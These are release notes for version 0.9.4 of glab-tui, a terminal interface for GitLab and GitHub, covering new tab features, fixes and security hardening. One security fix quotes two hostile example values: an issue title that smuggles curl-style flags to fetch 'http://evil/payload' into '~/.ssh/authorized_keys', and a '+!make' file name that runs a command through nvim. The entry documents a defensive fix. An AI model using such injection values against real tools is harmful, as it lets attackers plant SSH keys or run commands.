Skip to content

v0.9.4

Latest

Choose a tag to compare

@github-actions github-actions released this 30 Oct 01:02
· 3 commits to main since this release
5fb7fce

What's Changed

Added

  • Branches tab parity — Local checkout/switch (C), create MR/PR from branch (m), visual and bulk selection (Space, v, Ctrl+a), bulk deletion with confirmation, branch commit inspector, and custom_keybindings.branches pane support (#658, #662) — thanks @rcieri.
  • Terminal tab command inspector, re-run and status filter — Enter or P opens a detail modal for the highlighted entry with the full command line, exit code, start time, duration, error, stderr and stdout (each stream kept up to 16 KiB). r re-runs the recorded glab / gh / git call after a confirmation and logs it as a new entry, s cycles the log between All, Errors and Success, and Y copies the entry's output or error next to y for the command line. All four keys are remappable under [keybindings.terminal] (inspect_command, rerun_command, cycle_status_filter, copy_output) (#660) — thanks @Luckystrike561, @rcieri.
  • Todos / Notifications actions — New keys on the Todos tab. d marks the highlighted item done (mark_as_done), A marks every item read after a confirmation (mark_all_as_read), U unsubscribes from the item's issue, MR/PR or thread (unsubscribe) and r toggles listing read (GitHub) or done (GitLab) items (toggle_show_read). The tab now lists unread items only by default, and its title names the active filter (Unread / All) (#583) — thanks @Luckystrike561.
  • Runners metadata, status filter and copy keys — The Runners preview now lists each runner's type (instance, group or project), tags as pills, version, last contact, IP address and URL, and the table gains a Tags column (plus optional Type, Version and Last Contact). GitLab reads tags, version, last contact and IP from one glab api graphql query over the project's runners, since glab runner list does not return them. GitHub runner labels show as tags. The Status cell uses the shared badge pills, adds STALE and NEVER CONTACTED, and shows PAUSED for a paused runner even when GitLab reports it stale or never contacted. s cycles the Status filter (Online, Paused, Offline, all, with Paused skipped on GitHub, whose runners cannot be paused), the Tags column filters by tag, y copies the runner URL and Y its ID (cycle_status, copy_url, copy_id) — thanks @Luckystrike561, @rcieri.
  • Todos / Notifications triage — Select items with Space (select_todo), v (selection_toggle) or Ctrl+a (select_all), then mark all of them read with Enter or done with d, paced like other bulk operations and reported in one toast on failure. p (toggle_preview) opens a preview that renders the comment behind the item as Markdown (GitLab todos carry it, GitHub notifications fetch the latest comment or the issue / PR body once the cursor rests), with its reason and author. The State and Type columns are styled badges (NEW / READ, Issue / MR or PR), the ID column writes GitHub PRs as #N, and y / Y copy the target's URL / reference (copy_url, copy_reference). GitHub notifications with no subject URL (e.g. check suites) no longer fail the whole list (#657) — thanks @Luckystrike561, @rcieri.
  • Pipelines tab parity — The pipeline inspector, now shown and hidden with i (toggle_preview) since Enter descends into the pipeline, lists the triggering commit (headline and author), the trigger event and who triggered it, and a Failed Jobs summary with each failed job and why it failed (GitLab's failure_reason, GitHub's timeout or first failed step). R (retry_failed) reruns only the failed jobs: gh run rerun --failed on GitHub, and on GitLab each failed job on its own, since GitLab's pipeline retry (r) also reruns canceled jobs. s (cycle_status_filter) steps the Status filter through All, Running, Failed and Success. Y (copy_id) copies the pipeline ID as #123. [[custom_keybindings.pipelines]] binds commands with {{.PipelineId}}, {{.Ref}} and {{.Sha}}, once per checked pipeline for a bulk run (#654) — thanks @Luckystrike561, @rcieri.
  • Environments: deployments, rollback and stop — Enter on an environment now lists its deployments newest first and focuses them, so j/k walk the history while the pane below shows the selected deployment's status, ref, full commit SHA, deployer, job and notes. Tab moves the focus between the deployments and the environment list (, opens the Configure View while deployments are listed). R rolls back to the selected deployment after a confirmation (GitLab re-runs its job, GitHub creates a new deployment of its commit), d stops the environment after a confirmation (GitHub, which has no stop, marks its latest deployment inactive), y copies the environment URL and e opens the selected deployment's job log in $EDITOR (GitLab). Environment states and deployment statuses render as badges, and the environment preview lists these keys. GitLab deployments used to be fetched oldest first, so environments with more deployments than the page size never showed the newest ones (#659) — thanks @Luckystrike561, @rcieri.
  • Jobs tab parity — The Jobs preview now goes through the shared entity inspector. The highlighted job's metadata (ID, name, status, stage, matrix, failure reason, runner, queued time, duration, needs, artifacts, web URL) sits above its trace, or above the pipeline's stage summary while no trace is open. GitLab job listings now fill the runner, duration, queued time, failure reason, artifacts and URL the API already returned; GitHub fills the job URL. E (jump_to_failure) scrolls the trace to the next line reporting a failure (ERROR, ##[error], fatal, FAIL, panicked, …, but not 0 failed, Failed: 0 or a name such as quick-error, and never in the job and step names GitHub puts before each line), fetching the trace first when it is not shown. y (copy_url) copies the job's web URL and Y (copy_id) its ID. Copying the pipeline commit SHA moves from y to Alt+y (copy_sha) on the Jobs tab. A new [[custom_keybindings.jobs]] table runs commands with JobId, JobName, Stage and Status (plus RepoName/RepoPath), once per selected job when jobs are selected. The trace pane is titled Trace (#655) — thanks @Luckystrike561, @rcieri.

Fixed

  • Runner browser links — Opening a runner in the browser no longer percent-encodes the project path in the URL (#656) — thanks @Luckystrike561.
  • Review threads overlay lists every thread — On GitHub, T in the diff view only saw the first page_size review comments (never more than 100) and the resolution state of the first 100 threads, so on a busy PR the newest threads, usually the open ones, were missing or hidden by the unresolved filter. Review comments are now read with gh api --paginate and threads with a paginated reviewThreads query, and a reply takes its thread's state from the thread's first comment. On GitLab, glab mr note list --output json prints discussions, not notes, so parsing failed and the overlay stayed empty. The discussions are now flattened into notes carrying their discussion id. A failed comment fetch raises a toast instead of silently showing no threads, and the diff stays viewable (#674) — thanks @Luckystrike561.
  • Failed CLI calls always name their reason — Every failed gh api call now adds GitHub's reason from the response body (e.g. Can not approve your own pull request) to its error and Terminal-tab status, not only the calls made through the raw API helper. A glab / gh / git call that fails without printing to stderr reports the command and its exit code instead of an empty reason. Re-runs from the Terminal tab report failures the same way as the original call (#660) — thanks @Luckystrike561, @rcieri.
  • Failed browser launches show as failed — Opening a milestone, runner, branch or environment in the browser (git web--browse) was always logged as a success, even when it exited non-zero because no browser is configured. The Terminal tab now marks it failed with the helper's error, so the Errors filter lists it (#660) — thanks @Luckystrike561, @rcieri.
  • Scroll limits count wide characters — The detail pane, job log, review threads overlay and Terminal tab measured wrapped text in characters while it is drawn in terminal cells, so CJK text or emoji wrapped onto more rows than counted and scrolling to the end stopped short of the last line. Rows are now counted in cells (#660) — thanks @Luckystrike561, @rcieri.
  • Bounded job logs and diffs — Job logs are read up to 16 MiB and a longer one is marked [TRUNCATED: first 16 MiB] in the Jobs pane title. A diff over 32 MiB is refused with an error instead of being buffered whole. glab-tui stops reading (and kills the CLI) at the limit. Follow mode no longer downloads and re-parses the whole log every 5 seconds: on GitLab it asks only for the bytes after what is shown (byte_offset/byte_limit, with a full read on servers that predate them), on GitHub it makes no call (logs only exist for completed jobs), and the pane parses only the new lines and keeps the log on screen while polling (#559) — thanks @Luckystrike561.
  • Custom command arguments are refused unless they are a plain word — {{.Arg}} substitution only rejected quotes, $, separators and redirections, so an issue titled -o ~/.ssh/authorized_keys http://evil/payload reached some-tool {{.IssueTitle}} as attacker-chosen flags and paths. A value that starts with - or +, or contains whitespace, ~, *, ?, [, ], {, }, # or =, is now refused as well, pointing at the quoted $GLAB_TUI_* variable (after -- for a leading - or +). A leading + is refused because vim, nvim and less run +cmd as a command, so a PR file named +!make would have run make through nvim +{{.LineNumber}} {{.FilePath}}. Commands that spliced titles or paths with spaces directly need the environment variable (#562) — thanks @Luckystrike561.
  • Checksum-verified installs and self-update — install.sh, install.ps1 and the self-updater (u / glab-tui --update) now download the release's <asset>.sha256 and verify the archive before extracting it. A mismatch or a missing checksum aborts without touching the installed binary. The self-updater talks to GitHub through curl instead of the gh CLI, so GitLab-only installs no longer need gh to update (#564) — thanks @Luckystrike561.
  • Group-scope confirm actions hit the selected project — Closing, deleting, reopening, merging, rebasing or revoking an issue/MR, closing, reopening or deleting a milestone, and submitting a review resolved the project from the first listed row sharing the iid. In group scope, issue #5 of project B could close issue #5 of project A. The confirm dialog now carries the selected row's project through to the CLI call and the local list update (#567) — thanks @Luckystrike561.
  • Stale fetches after a repo/group switch — A fetch still in flight when the repository or group changed wrote the old scope's issues, MRs, pipelines and other tab data into the new scope's table and cache file once it finished. Every background fetch now carries the scope generation it started in (App::scope_generation, bumped by reset_on_scope_change), and the event loop drops results from an earlier generation before they touch app state or the cache (#574) — thanks @Luckystrike561.
  • Esc no longer discards review drafts — Pressing Esc (or Cancel) on the submit-review dialog shown when leaving the diff view deleted every draft comment and closed the diff. It now only closes the dialog and returns to the diff. The dialog gains Keep drafts (close the diff, keep the drafts) and an explicit Discard button. Drafts are saved per project and MR/PR in the project cache, so they survive closing the diff and restarting glab-tui. A kept draft whose line is no longer in the diff when it is reopened is set aside with a toast instead of being submitted, and comes back once its line returns (#569) — thanks @Luckystrike561.
  • Actions follow the highlighted row — with a search, sort, group-by or column filter active, several actions read the selection index against the unfiltered list and acted on a different row than the one on screen. Group-scope create (issue, MR/PR, milestone) and run-pipeline now take the highlighted row's project, and Jobs select_stage selects the visible jobs in the highlighted job's stage. Jumping to an issue or MR/PR from the related-MRs and linked-issues selectors or from a todo now drops the search and column filters that would hide the target (as the g jump already did) and highlights the target row. A todo jumps only to the issue or MR/PR in its own project, never to a same-numbered one from another project, and says so in the header bar when that target is not loaded (#571) — thanks @Luckystrike561.
  • Code blocks keep their first character — Fenced code blocks in descriptions and suggestion bodies in the diff view lost their first character when it was -, + or a space, because highlighting stripped it as if it were a diff marker. A YAML - item rendered as item and indented lines lost one column. Only real diff hunk lines have their marker removed now (#565) — thanks @Luckystrike561.
  • Column logic matches the rendered columns — On Releases, search, group-by and the value filter now read the Release Notes column (they looked for a Description column that does not exist). Branches Default/Protected filters offer and match the YES/NO cell text instead of true/false, and filters saved as true/false keep working. Group-by now reorders the Runners, Branches and Environments tabs, which used to ignore it, and the Branches SHA and Environments URL filters now list values (#566) — thanks @Luckystrike561.
  • Environments detail pane follows the selection — Deployments fetched with Enter for one environment stayed in the detail pane after another environment was selected, after a search put a different environment under the cursor, and after leaving the tab. They are now dropped as soon as their environment stops being the highlighted row of the Environments tab, including when the fetch finishes after the selection has moved on, and the pane falls back to the environment's details. Enter on an environment now also opens the detail pane, which nothing on the Environments tab could open before, so the fetched deployments were never visible there (#568) — thanks @Luckystrike561.
  • Hung gh/glab calls no longer stall the app — Every gh/glab call made through the backends (tab fetches, mutations, the review subcommand), the diff view's comment edit/delete and release creation now runs under a timeout (command_timeout_seconds, default 120). A call still running when it expires is killed and reported as an error naming the command, instead of hanging forever while holding one of the 8 concurrent-request slots. A request backing off after a rate limit no longer holds its slot during the sleep, and an error that merely contains the digits 429 (such as issue #429 not found) is no longer retried as a rate limit: 429 now has to appear as an HTTP status (HTTP 429, status code: 429, GET <url>: 429) (#575) — thanks @Luckystrike561.
  • Job trace in the editor — The Jobs tab's open-in-editor key (e) ran the whole EDITOR value as one program name, so EDITOR="code --wait" failed to start. It wrote the placeholder Trace will be here when the trace had not been shown yet, and handed over the terminal without the Ctrl+C guard other editor launches have. It now fetches the trace first when needed and opens it through the shared editor handoff. Enter on a job in group scope now fetches the trace from the job's own project (it used to ask for the group path and fail), and a trace that arrives after a repo/group switch is dropped (#577) — thanks @Luckystrike561.
  • Jobs tab finds the branch pipeline directly — Opening the Jobs tab no longer lists every MR and every pipeline of the project to find the checked-out branch's pipeline. It asks for the newest pipeline of that branch (glab ci list --ref plus the branch's open MR via glab mr list --source-branch, or gh run list --branch). Clearing a job selection also clears its select-stage notice, and the GitLab-only start-job key is no longer offered on GitHub (#579) — thanks @Luckystrike561.
  • Releases act on their own project — Release edits, deletes and open-in-browser target the release's own project instead of the raw scope string. A release edit form opened from the zoomed inspector no longer submits empty release notes. The unreachable text-input release creation path, which shelled out to gh/glab release create from the event loop, is gone: every release is created through Backend::create_release (#580) — thanks @Luckystrike561.
  • Todos mark-read and jump — Marking a todo or notification read discarded the CLI result, so the item stayed listed until the next refetch and a failure was silently dropped. The list now updates as soon as the call succeeds and a failure raises an error toast. Enter and the mark_as_read key share one implementation, and the jump selects the issue or MR/PR in the todo's own project instead of the first item with the same number. A todo from a project outside the current scope reports that instead of landing on an unrelated item, and stays unread (#583) — thanks @Luckystrike561.
  • Runners, Releases, Branches and Environments keep the selected row — These tabs now run on a shared list-tab model: each column defines its header, cell, search text, filter values and sort key once, and the filtered and sorted view is rebuilt only when the rows, search, column filters or sort change. Selection follows the row's own key (runner/environment id, release tag, branch name) instead of its position, so a refresh, sort, search or group change no longer moves it to another row, and editing a release opens the release under the cursor. A mouse click selects the clicked row when the table is scrolled (#586) — thanks @Luckystrike561, @rcieri.
  • Syntax highlighting across lines — The diff view, Markdown code fences and code suggestions parsed every line on its own, so block comments, docstrings and heredocs lost their color after the first line. Each side of each diff hunk, and each fence or suggestion, is now highlighted as one text. Code fences and suggestions no longer lose their first leading space (#565). Extension-less files such as Makefile are recognised by name, and scripts by their shebang when the diff starts at line 1. Colors are resolved from the active theme when the diff is drawn, so reloading the theme recolors an open diff. glab-tui review no longer highlights the diffs it only reads anchors from, and syntect is built with only the parsing, default-syntaxes and regex-fancy features (#584) — thanks @Luckystrike561, @rcieri.

Changed

  • Pipelines copy keys — y on the Pipelines tab now copies the pipeline URL (copy_url) instead of the commit SHA, which moves to C (keybindings.pipelines.copy_sha). The Jobs tab keeps y for the SHA (#654) — thanks @Luckystrike561, @rcieri.
  • List-tab model architecture — Migrated Runners, Releases, Branches, and Environments tabs to a generic ListTab architecture with typed column definitions, search/filter synchronization, and row-keyed navigation (#641) — thanks @Luckystrike561, @rcieri.
  • Subprocess security and bounded outputs — Bounded child CLI stdout streams (output_bounded), enforced execution timeouts (command_timeout_seconds), sanitized untrusted text/ANSI sequences, and tightened persisted file modes to 0600 / 0700 (#611, #612, #614, #615, #631) — thanks @Luckystrike561.
  • Security & supply-chain policies — Integrated cargo-deny checks, documented cargo-audit ignores, replaced serde_yaml with serde-saphyr, and added cargo-fuzz targets for diff, Markdown, and ANSI parsers (#616) — thanks @Luckystrike561.
  • CI & Developer tooling — Added just build, just run, and just install recipes (#680), expanded e2e test smoke matrix for secondary tabs (#618), and excluded non-essential repository assets from the cargo crate package (#557) — thanks @janosmiko, @Luckystrike561, @rcieri.

Dependencies

Contributors

Full Changelog: v0.9.3...v0.9.4